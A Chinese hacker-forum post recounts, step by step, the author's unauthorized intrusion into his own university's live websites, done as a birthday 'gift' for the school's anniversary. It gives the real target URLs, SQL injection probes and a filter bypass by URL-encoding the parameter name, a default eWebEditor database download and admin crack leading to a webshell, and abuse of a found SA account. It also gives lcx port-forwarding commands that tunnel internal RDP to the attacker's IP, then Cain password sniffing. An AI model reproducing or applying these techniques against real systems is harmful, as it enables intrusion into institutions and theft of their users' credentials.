非常不幸,没图了,转移服务器弄掉了,然后DRT因为空间换到国外,论坛里的图片也没了,凑服看把,哪天在拿下一次。
作者:SpookZanG[D.R.T]
话说,秋天到了,天气凉了,在这收获的季节,在这金秋,我们可爱的母校迎来了三十年的校庆,这是一个美丽的季节。我们学校又组织我们去了国家体育馆,虽然我不想去,可是学校利用学分威逼利诱,没有办法,只好去了。但是,这不是我的主观意愿,所以……我要为学校在这三十年校庆之际,献上一份“厚礼”。
先打开主页http://www.buu.edu.cn/,哇,好“漂亮”的网页,先探测探测吧。随便找个连接,点开,http://www.buu.edu.cn/home/gg/news_con.jsp?fid=sph20080902111726756
在后面,分别加上 ‘ ,and 1=1 , and 1=2。 发现有注入漏洞
看样子貌似是Orcale数据库。本打算猜一下密码和表段啥的,可是看到他简陋的页面可以断定,后台更简陋。很可能只能跨站啥的,连上传都没有。(其实开始猜解数据库了,可是每当猜解到一半,服务器上的数据库就会出错,所以就没有继续搞。)
正所谓条条大路通罗马,(至于这句话什么意思,不明白的也不必深究,因为跟入侵没关系)我们来看看别的页面。
我们打开http://news.buu.com.cn/,在搜索那里随便搜索点东西,我搜索的是3434,本来还以为得抓包,然后构造连接,但是我发现,他是直接显示的,不用构造。
http://news.buu.com.cn/xmllist/search_news.asp?newskey=3434&mtype=0&selectf=0&Submit22=%CB%D1%CB%F7
我们把 3434后面的都删除,发现删除后不能正常显示,没关系,我们还可以这样构造,把“newskey=3434”放到最后面,弄成这样:
http://news.buu.com.cn/xmllist/search_news.asp?mtype=0&selectf=0&Submit22=%CB%D1%CB%F7&newskey=3434
然后,在后门加上单引号’,出现
发现,他有防注入程序,但是呢……,他的防注入是不是会有漏洞呢?我们把newskey换成URL格式%6E%65%77%73%6B%65%79,
然后在尝试提交’ and 1=1 and 1=2,发现有注入漏洞!是DB权限,DB权限,可以通过备份得到一句话。
可是我们不知道他的路径,这怎么办呢?
我一边猜解着表名,一边查找着后台,在尝试到http://news.buu.com.cn/main.asp发现他有一个探针,显示出了路径,看来我拿到权限有望了!
把有注入的连接扔到穿山甲里,然后通过穿山甲备份数据库,但是失败了……看来这条路走不通了。(后来手工检测的时候,发现是PB权限,所以无法备份得到shell,所以说,不能太相信软件!)
正所谓条条大路通罗马,(至于这句话什么意思,不明白的也不必深究,因为跟入侵没关系)这条不成,还有别的呢~在看看别的分站。
最后来到了http://ldxsc.buu.com.cn/,我发现他似乎有EWEBEDITOR。
我在后面输入EDIT,发现出现了403错误,看来联大似乎离死不远了……
我输入http://ldxsc.buu.com.cn/taiyanyuan/edit/admin_login.asp,出现了传说中的页面,我密码尝试admin admin888 admin999。
发现都无法登入,没关系,把数据库down下来,然后破解就OK了,输入默认的数据库,db/ewebeditor.mdb,把数据库down下来,然后拿着破解的密码登录,成功!
然后通过ewebeditor的老方法拿到了webshell。
然后在服务器里进行地毯式搜查,发现他的D,E,F盘都是分站。
最后在E盘里的一个ASPX网站发现了一个有SA的帐号(Maxil发现的,我至今没有找到-_-||)
拿着SA的帐号,通过WEB版的SQL登录器登录(因为是内网,外面连不上)。成功,并且发现组件齐全。
然后执行命令netstat -an看看他都开了啥端口。
发现有3389.因为是内网,所以从外网是连不上的,但是我们可以利用LCX来帮忙。(本来打算上传个反弹的马马的但是无奈于我对于免杀这块的技术空白……所有上传的马全被可爱的卡巴给删除了。在废句话,最后拿下的时候,本想把C盘填入卡巴的可信区域,【填入可信区域,卡巴就不会扫描他拉~】,然后留个后门,弄个反弹木马啥的,但……但……但……他的卡巴竟然设了密码!!真是……唉……)
我把LCX上传上去,先在本地执行 (LCX -LISTEN 接收数据端口 转向端口)LCX -LISTEN X Y,并在WEB版SQL里执行(LCX的格式LCX的地址 -slave 你的IP 你接收的端口 他的IP 他的端口)E:\lcx.exe -slave 219.x.x.90 x 10.11.6.16 3389。
然后我用远程桌面连接127.0.0.1:Y(Y的端口不要用3389).
成功!
最后就是上传一个CAIN进行嗅探,等待着密码的降临……
写在最后:本文没有任何技术,此文是一篇入侵笔记,记录我在入侵时遇到的困难、问题以及我解决的方法。
如果本文哪里写的有错误或者有更好的方法,欢迎指出。